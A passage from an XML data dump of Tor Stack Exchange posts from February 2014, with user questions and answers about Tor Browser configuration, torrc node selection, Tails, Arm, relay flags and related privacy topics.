href=&quot;https://www.mozilla.org/en-US/mobile/27.0/releasenotes/&quot; rel=&quot;nofollow&quot;&gt;released version 27&lt;/a&gt;. It enables TLS1.1 and TLS1.2 by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around with the minimum version in Firefox. When setting the minimum to 2 (TLS1.1) some websites break. I &lt;a href=&quot;http://kubieziel.de/computer/ssl-tls.html&quot; rel=&quot;nofollow&quot;&gt;collected some sites&lt;/a&gt;, but probably there are many more. So at the moment it might be good to set the minimum value to 1.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-02-04T23:18:22.637" LastActivityDate="2014-02-04T23:18:22.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1458" PostTypeId="1" CreationDate="2014-02-04T22:55:28.427" Score="3" ViewCount="455" Body="&lt;p&gt;My tor exit node was 31.172.30.4:443 and at the same time I observed direct connection established to this IP &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TCP 192.168.1.xx:xxxxx-&amp;gt;31.172.30.4:443 (ESTABLISHED)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe my knowledge on tor is not as good as thought, but I'm quite sure it shouldn't happen. Security issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup: tor daemon running on Debian; all non-tor connections dropped.&lt;/p&gt;&#xA;" OwnerUserId="1084" LastEditorUserId="88" LastEditDate="2014-02-04T23:02:56.187" LastActivityDate="2014-02-06T13:41:22.420" Title="I noticed direct connection to exit node (really disturbing). Security issue?" Tags="|security|exit-relays|debian|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1459" PostTypeId="1" CreationDate="2014-02-05T05:07:43.777" Score="1" ViewCount="1074" Body="&lt;p&gt;I am trying to use Jitsi trough Tor browser, but it is not working. There is no error notification. Jitsi simply doesn't go online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help? &lt;/p&gt;&#xA;" OwnerUserId="1086" LastActivityDate="2014-05-03T08:29:55.723" Title="Jitsi trough Tor (browser)" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1460" PostTypeId="1" CreationDate="2014-02-05T14:36:12.230" Score="3" ViewCount="4158" Body="&lt;p&gt;When I use Tor Browser, the Tor button next to the address bar says &quot;Tor Disabled&quot; whenever I try to manually configure a certain HTTP/HTTPS proxy IP address. Is there any possible way to use a certain proxy address without disabling Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the screenshots below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it says &quot;Tor Disabled&quot;, does that mean that your computer is connected to the proxy server without going through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I2JLU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8YLzJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1087" LastEditorUserId="923" LastEditDate="2014-03-06T17:18:49.550" LastActivityDate="2014-03-06T17:18:49.550" Title="In Tor Browser Bundle how can I manually use a proxy address without turning off Tor?" Tags="|tor-browser-bundle|browsers|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1461" PostTypeId="1" CreationDate="2014-02-05T16:52:59.843" Score="1" ViewCount="340" Body="&lt;p&gt;Fascinating read from arstechnica about how the Feds arrested Dread Pirate Robers (operator of Silk Road illegal drug trading website)&#xA;&lt;a href=&quot;http://arstechnica.com/tech-policy/2013/10/how-the-feds-took-down-the-dread-pirate-roberts/&quot; rel=&quot;nofollow&quot;&gt;http://arstechnica.com/tech-policy/2013/10/how-the-feds-took-down-the-dread-pirate-roberts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question related to Tor anonymity.  Why do you speculate he felt the need to use internet access at a library instead of at his own home?d&lt;/p&gt;&#xA;" OwnerUserId="1088" LastActivityDate="2014-02-06T22:40:12.657" Title="If Tor provides anonymity, why did Dread Pirate Roberts use library internet access?" Tags="|anonymity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1463" PostTypeId="2" ParentId="1461" CreationDate="2014-02-05T17:48:48.613" Score="0" Body="&lt;p&gt;Question is not definitely resolvable as you'll need to ask him. But I think that he was doing several things at the same time, only several of them through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe that he just felt more secure that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, from what is public info we can not deduce that Tor anonimity was compromised.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-02-05T17:48:48.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1464" PostTypeId="2" ParentId="1460" CreationDate="2014-02-05T17:50:37.060" Score="2" Body="&lt;p&gt;You need to set up the proxy for Tor itself, not for the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, &quot;Tor Disabled&quot; means you are not protected.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-02-05T17:50:37.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1465" PostTypeId="2" ParentId="1458" CreationDate="2014-02-05T18:04:37.007" Score="2" Body="&lt;p&gt;When you say &quot;My tor exit node was 31.172.30.4:443&quot;, I presume you do not mean that you are the operator of the nicknamed chaoscomputerclub21 Tor node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you mean that the Tor node in use as an exit node, for one or more of your Tor client's open circuits, was at that IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Tor client will create multiple circuits at one time, and over time.  Any node with Guard and Exit flags (chaoscomputerclub21 has both at the present time) could randomly be used as an entry guard, a middle node, and an exit.  It being an exit in one circuit doesn't mean it can't be an entry guard in another, or a middle node in still another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to use the tool (arm?) that showed you the chaoscomputerclub21 exit node selected for that one circuit to also see the entry and middle nodes.  You can look at multiple circuits in that and probably see more than one instance of any given high capacity node showing up in various roles.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-02-05T18:04:37.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1467" PostTypeId="1" CreationDate="2014-02-06T06:17:58.630" Score="2" ViewCount="383" Body="&lt;p&gt;I want to select some specific routers as my entry relay, middle relay and exit node. I know I can edit torrc to determine entry and exit, how can I determine the middle one?&lt;/p&gt;&#xA;" OwnerUserId="1092" LastEditorUserId="71" LastEditDate="2014-03-06T16:35:36.280" LastActivityDate="2014-03-06T16:35:36.280" Title="How can I select some specifc paths?" Tags="|relays|exit-relays|circuit|guard-node|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1468" PostTypeId="2" ParentId="1467" CreationDate="2014-02-06T07:39:22.967" Score="1" Body="&lt;p&gt;Tor offers no possibility to choose a specific middle node. The Tor software itself chooses at least this relay. This is because if someone could select specific routes through the network, it might hurt your anonymity. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-06T07:39:22.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostTypeId="1" AcceptedAnswerId="1471" CreationDate="2014-02-06T16:09:36.223" Score="0" ViewCount="1119" Body="&lt;p&gt;Can one use Tail, to bypass any of the following potential attack vectors?&#xA;There are five potential attack vectors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Malware on the disk within a partition.&#xA;Malware within the boot sector.&#xA;Malformed partition or filesystem structures that exploit bugs in the OS &#xA;Malware within disk firmware.&#xA;Modified hardware (e.g. replace the firmware PROM with mask ROM containing malware and/or&#xA;implant hardware keylogger device in keyboard) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How far Tails can take us if one download it from Tails site and verify the signature?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-03-06T16:17:33.857" LastActivityDate="2014-03-06T16:17:33.857" Title="Assuming, there is malware on a system, can one bypass that by using live cd when using Tor?" Tags="|tails|attacks|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostTypeId="2" ParentId="1470" CreationDate="2014-02-06T18:05:56.387" Score="2" Body="&lt;p&gt;It is possible that the malware has infected the computer's &lt;a href=&quot;http://en.wikipedia.org/wiki/BIOS&quot; rel=&quot;nofollow&quot;&gt;BIOS&lt;/a&gt; or other firmware&#xA;and then any usage of that machine is compromised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you boot from a CDROM with a burned copy of Tails, you should be safe from any malware that remains on the disk and/or is dependant on non-Linux operating systems.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-02-06T20:53:01.753" LastActivityDate="2014-02-06T20:53:01.753" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1472" PostTypeId="2" ParentId="1287" CreationDate="2014-02-06T19:26:16.633" Score="1" Body="&lt;p&gt;The bin files in the Temp folder are generated by RtHDCpl.exe from Realtek.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Print msconfig in the run command.&lt;/li&gt;&#xA;&lt;li&gt;select the start page and remove the mark at RtHCCpl &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1095" LastEditorUserId="88" LastEditDate="2014-02-06T21:45:23.097" LastActivityDate="2014-02-06T21:45:23.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostTypeId="5" CreationDate="2014-02-06T19:58:11.367" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-06T19:58:11.367" LastActivityDate="2014-02-06T19:58:11.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostTypeId="4" CreationDate="2014-02-06T19:58:11.367" Score="0" Body="Malware, short for malicious software, is software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-02-06T21:43:09.933" LastActivityDate="2014-02-06T21:43:09.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostTypeId="2" ParentId="1461" CreationDate="2014-02-06T22:40:12.657" Score="2" Body="&lt;p&gt;I guess DPR tried to maintain a good level of &lt;a href=&quot;https://en.wikipedia.org/wiki/Operational_security&quot; rel=&quot;nofollow&quot;&gt;operational security (OPSEC)&lt;/a&gt;. With that in mind one should have several layers of security. First might be not to use his home network. So in case someone has a method to break Tor, the attacker gets to know the original IP. If DPR sits in some internet cafe or uses public Wifi, it is hard to trace those actions back to him. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-06T22:40:12.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostTypeId="1" CreationDate="2014-02-07T03:21:32.877" Score="1" ViewCount="4053" Body="&lt;p&gt;Is it common for Tor browser not to connect when using public WIFI? For example a Starbucks WIFI that requires you to &quot;accept&quot; their access agreement.&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2015-06-22T20:09:01.057" Title="Public WIFI does not connect" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostTypeId="2" ParentId="1476" CreationDate="2014-02-07T14:02:26.260" Score="2" Body="&lt;p&gt;Yes. You need your browser to connect to local network and Accept, before you (that is, Tor) is allowed to make any connection to Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proper sequence would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to cafe's network from your OS&lt;/li&gt;&#xA;&lt;li&gt;Open non-Tor browser&lt;/li&gt;&#xA;&lt;li&gt;Accept terms, introduce login, etc.&lt;/li&gt;&#xA;&lt;li&gt;Close non-Tor browser (unless it specifically says not to close the connection window/tab)&lt;/li&gt;&#xA;&lt;li&gt;Open Tor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-02-07T14:02:26.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostTypeId="1" CreationDate="2014-02-07T17:07:00.640" Score="9" ViewCount="59334" Body="&lt;p&gt;I visited a streaming site in TorBrowser, but it said it needed a plugin to stream videos. I've already installed the latest version of Adobe Flash Player, but it still won't stream videos or play Flash games. What can I do to make streaming video work in TorBrowser?&lt;/p&gt;&#xA;" OwnerUserId="1101" LastEditorUserId="1112" LastEditDate="2014-02-09T11:16:51.327" LastActivityDate="2015-07-27T00:48:15.573" Title="How can I use plugins in TorBrowser?" Tags="|tor-browser-bundle|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1479" PostTypeId="1" AcceptedAnswerId="1493" CreationDate="2014-02-08T13:24:35.363" Score="3" ViewCount="7543" Body="&lt;p&gt;I use Tor Browser in Ubuntu. I want to learn a way if possible to make the Tor Browser take the same identity each time I open it. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1108" LastEditorUserId="71" LastEditDate="2014-02-08T14:26:38.567" LastActivityDate="2014-02-11T14:30:02.637" Title="How to make the Tor Browser take the same identity each time" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostTypeId="1" CreationDate="2014-02-08T20:23:14.363" Score="18" ViewCount="64758" Body="&lt;p&gt;I have a netbook I only use when I'm away from home and I only ever use Tails on it. In order to avoid having to carry a Tails USB stick with me as well (which just sticks out the side) I'd like to install Tails as the only OS on the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a process to fully install Tails to a computer whilst still maintaining its &quot;amnesiac&quot; traits?&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-02-08T20:41:28.653" LastActivityDate="2017-03-20T16:38:04.360" Title="Can Tails be installed as primary OS?" Tags="|tails|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostTypeId="1" CreationDate="2014-02-09T06:21:18.860" Score="2" ViewCount="174" Body="&lt;p&gt;I start Tor using the Firefox binary inside the bundle and it seems to work. How do I make it point to a custom torrc file and not the file inside the bundle? I'd like to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firefox -f /custom/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1111" LastEditorUserId="923" LastEditDate="2014-08-06T19:17:19.800" LastActivityDate="2014-08-06T19:17:19.800" Title="Is there a way to specify a configuration file when launching the Tor Browser Bundle?" Tags="|tor-browser-bundle|linux|configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-06T21:36:01.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="1482" PostTypeId="1" CreationDate="2014-02-09T09:10:31.327" Score="0" ViewCount="369" Body="&lt;p&gt;I would like to know if it is feasible to run Tor in virtual machine with 256 MB of RAM.&#xA;If so, which flavor of linux minimal enough to run it? &lt;/p&gt;&#xA;" OwnerUserId="1044" LastEditorUserId="923" LastEditDate="2014-07-05T11:01:16.580" LastActivityDate="2014-07-05T11:01:16.580" Title="Is it possible to run Tor in virtual machine with only 256 Megabyte of RAM?" Tags="|tor-browser-bundle|linux|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostTypeId="2" ParentId="1478" CreationDate="2014-02-09T10:55:57.213" Score="10" Body="&lt;p&gt;Plugins like Adobe Flash and Java are disabled by default in TorBrowser. This is due to the fact that they are outside of Tor developers' control, and contain known problems which can be used to coerce your real IP address from your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to use these plugins, you can visit &lt;code&gt;about:addons&lt;/code&gt;, click the Plugins tab, and change &quot;Never Activate&quot; to &quot;Ask to Activate&quot; next to the plugin you want to run. This will cause TorBrowser to prompt you each time a website requests to run a plugin. If you don't want this prompt, change the dropdown to &quot;Always Activate&quot; - but be aware that &lt;em&gt;this will open up the possibility of your real IP leaking, compromising your anonymity and rendering TorBrowser useless&lt;/em&gt;. This is the least secure option and I would highly recommend against it if you are serious about using Tor properly.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-09T10:55:57.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostTypeId="1" AcceptedAnswerId="1496" CreationDate="2014-02-09T11:06:20.217" Score="4" ViewCount="3924" Body="&lt;p&gt;I've just read &lt;a href=&quot;https://tor.stackexchange.com/q/423/1112&quot;&gt;What are good explanations for relay flags?&lt;/a&gt; to get a feel for what flags could possibly appear on my new relay (which is an image from Tor Cloud, but with &lt;code&gt;torrc&lt;/code&gt; modified to be a relay instead of a bridge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the flags Fast, Running, and Valid. I'm wondering if and when I'll get the V2Dir flag, as I've turned on directory mirroring. Here are the relevant sections of my &lt;code&gt;torrc&lt;/code&gt; (AFAIK):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirPort 9030&#xA;AccountingStart week 1 10:00&#xA;AccountingMax 15 GB&#xA;BandwidthRate 100MB (104857600)&#xA;BandwidthBurst 1GB (1073741824)&#xA;ORListenAddress 0.0.0.0:9001&#xA;ORPort 443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-03-06T17:14:28.747" Title="What is the criteria for the V2Dir flag appearing?" Tags="|relays|directory|flags|mirrors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostTypeId="2" ParentId="1479" CreationDate="2014-02-09T15:20:16.583" Score="0" Body="&lt;p&gt;why he would do it is not valid question. for example I don't believe 100% to tor bridges and would make my own private bridge to connect to tor nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, my answer: I am not professional, but I think you can make your own obfuscate bridge and use it to connect to tor network. &#xA;I suppose you would have to rent vps if not dedicated server, install obfuscate bridge and configure it to refuse to send information to tor developers so it will not be listed and known anywhere, then use at your PC: Pluggable Transports Tor Browser Bundle (&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/pluggable-transports.html.en&lt;/a&gt;). you can try to include only one obfs bridge, your one. I never tried, you can try it. bridges are written in torrc-defaults file.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2014-02-09T15:20:16.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostTypeId="1" AcceptedAnswerId="1516" CreationDate="2014-02-09T15:30:38.193" Score="2" ViewCount="747" Body="&lt;p&gt;Utilizing Vidalia, one was able to view the process of connection to Tor perior to Tor version 3.5 (This was possible by opening the message Log of Vidalia Control Panel). Now, even if one enable Vidalia manually, it is after the establishment of initial Tor circuit. So at least thru Vidalia control panel one can not view the process of establishment of Tor connection. Is there a way to view this process for the following OS software?&#xA;1. Windows&#xA;2. GNU/Linux; &#xA;This is helpful if for some reason connection to Tor was not successful and one try to debug the problem or ask for help, as it may give some clues to the source of the problem. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-02-12T15:41:08.723" LastActivityDate="2014-02-16T18:26:31.633" Title="Utilizing Vidalia, one was able to view the process of connection to Tor. Is there a way to view this process with TBB 3.5 or newer?" Tags="|tor-browser-bundle|windows|vidalia|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1490" PostTypeId="2" ParentId="1371" CreationDate="2014-02-09T21:30:24.227" Score="0" Body="&lt;p&gt;you can not add additional IPs but you can limit some tor servers on the basis of ip address or country code.&#xA;edit your torrc file and write there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes someIPaddress &#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will exclude that IP address, if you want to block then whole country:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes {de},{at},{fr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to choose country:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us},{ca}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this means your exit nodes will be only from america and canada. you can choose also entry nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {au},{ru}&#xA;ExitNodes {us},{pl}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you understand already that entry will be from australia and russia and exit nodes from usa and poland. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;of course, if you want to exclude some nodes from entry and exit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes someIPaddress or CountryCode&#xA;Strict1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1119" LastEditorDisplayName="user5" LastEditDate="2014-02-10T15:45:45.303" LastActivityDate="2014-02-10T15:45:45.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostTypeId="2" ParentId="1487" CreationDate="2014-02-10T00:15:30.430" Score="0" Body="&lt;p&gt;As far as I know there is no way to observe the Tor connection process via the Vidalia control panel. As for windows or GNU/Linux I don't know if any tools fitting your description exist, nor for that matter if they should. Tor was created to keep you anonymous on the internet, and if you could see how it does what it does, then some stupid bureaucrat somewhere may decide to do something about it or ie NSA/CIA....&lt;/p&gt;&#xA;" OwnerUserId="616" LastEditorDisplayName="user5" LastEditDate="2014-02-16T18:26:31.633" LastActivityDate="2014-02-16T18:26:31.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1493" PostTypeId="2" ParentId="1479" CreationDate="2014-02-10T01:48:57.620" Score="4" Body="&lt;p&gt;I interpret your use of the phrase &quot;take the same identity&quot; to mean that you want to have the same IP address (of your exit node) as in a past Tor session. In that case, the answer to your question is &quot;Yes, but only indirectly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate and edit your &quot;torrc&quot; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add one new line to it, that says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes SomeExitNodeName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the place of &lt;code&gt;SomeExitNodeName&lt;/code&gt; include the Name of the exit node that is at the IP address that you want to 'be'. Then stop Tor and restart it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can lookup the ExitNode name at &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot find the IP address you desire on that page then the party who previously hosted an exit node on that IP address is no longer doing that, so in that case you're out of luck.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastEditorUserId="71" LastEditDate="2014-02-10T10:36:23.737" LastActivityDate="2014-02-10T10:36:23.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostTypeId="1" CreationDate="2014-02-10T07:46:23.203" Score="3" ViewCount="2508" Body="&lt;p&gt;Tor Browser Bundle 3.5 doesn't maintain Vidalia Tor map anymore, so I thought of using Tor Arm to view the Tor network traffic. How do I run it?&lt;/p&gt;&#xA;" OwnerUserId="1125" LastEditorUserId="71" LastEditDate="2014-02-10T10:38:35.620" LastActivityDate="2014-05-11T12:45:31.737" Title="How to use Arm with Tor Browser Bundle" Tags="|tor-browser-bundle|nyx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostTypeId="2" ParentId="1494" CreationDate="2014-02-10T10:04:55.493" Score="5" Body="&lt;p&gt;Do this to connect to the Tor provided by TBB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./arm -i 127.0.0.1:9151&#xA;Controller password: ****&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-02-10T10:04:55.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1496" PostTypeId="2" ParentId="1485" CreationDate="2014-02-10T14:07:34.880" Score="2" Body="&lt;p&gt;You should get the &lt;code&gt;V2Dir&lt;/code&gt; flag simply by publishing a DirPort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whether or not you publish a directory port depends on many factors, including your accounting/hibernation configuration --- see &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.20:/src/or/router.c#l1018&quot; rel=&quot;nofollow&quot;&gt;router.c&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-02-10T14:07:34.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1497" PostTypeId="2" ParentId="1376" CreationDate="2014-02-10T14:10:01.563" Score="7" Body="&lt;p&gt;Tor does not have a concept of exit nodes that only you can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routing protocol allows for it, but there is no support in Tor or its directory layer for what you ask.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-02-10T14:10:01.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1498" PostTypeId="1" CreationDate="2014-02-10T15:48:53.873" Score="3" ViewCount="3959" Body="&lt;p&gt;I can not install or configure a Tor relay.&#xA;I had Tor downloaded, installed several times on Windows XP.&#xA;There is no Vidalia in it or came with it.&#xA;The union button gives me no options like Vidalia used to do.&lt;/p&gt;&#xA;" OwnerUserId="1127" LastEditorUserId="923" LastEditDate="2014-07-09T11:54:05.860" LastActivityDate="2015-08-11T02:53:32.513" Title="Install a Tor relay on Windows with Tor Browser Bundle" Tags="|relays|configuration|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostTypeId="1" AcceptedAnswerId="1527" CreationDate="2014-02-10T16:18:17.717" Score="0" ViewCount="354" Body="&lt;p&gt;The &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;anonymizing relay monitor (arm)&lt;/a&gt; may not be usable for TBB windows users (or is it?). What alternatives exist for TBB window users?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-02-11T23:01:23.453" LastActivityDate="2014-02-13T16:04:44.410" Title="Arm may not be usable for TBB windows users. What are the alternatives?" Tags="|tor-browser-bundle|windows|nyx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1500" PostTypeId="1" CreationDate="2014-02-10T18:18:17.747" Score="2" ViewCount="282" Body="&lt;p&gt;Is there a way to use Tor to download apps for Windows 8 from the Windows Store anonymously?  The Windows Store uses its own customized app for access and apparently isn't accessible from normal browsers.  Is there a way I could redirect access attempts by the Windows Store app into Tor?  Or, is there a way to use the Windows Store from Torbrowser, without involving the Windows Store app?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="88" LastEditDate="2014-02-10T19:30:54.553" LastActivityDate="2014-02-10T19:30:54.553" Title="Is there a way to use Tor to download apps for Windows 8 from the Windows Store anonymously?" Tags="|anonymity|configuration|windows|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1502" PostTypeId="1" AcceptedAnswerId="1510" CreationDate="2014-02-10T18:54:14.303" Score="7" ViewCount="3210" Body="&lt;p&gt;I understand Tor tries to protect me by getting me a new IP address every 10 minutes. That, however, makes it hard to use websites where the session cookie is bound to the IP-address: Every 10 minutes I have to re-login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I ask Tor to only change the IP-address every hour or day (assuming my exit node does not go down)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding this to /etc/tor/torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MaxCircuitDirtiness 100000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which did not fix the problem. I am running Whonix.&lt;/p&gt;&#xA;" OwnerUserId="1129" LastEditorUserId="1129" LastEditDate="2014-02-12T00:13:27.170" LastActivityDate="2014-02-12T00:13:27.170" Title="Whonix: Avoid changing exit node (external IP address)" Tags="|whonix|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
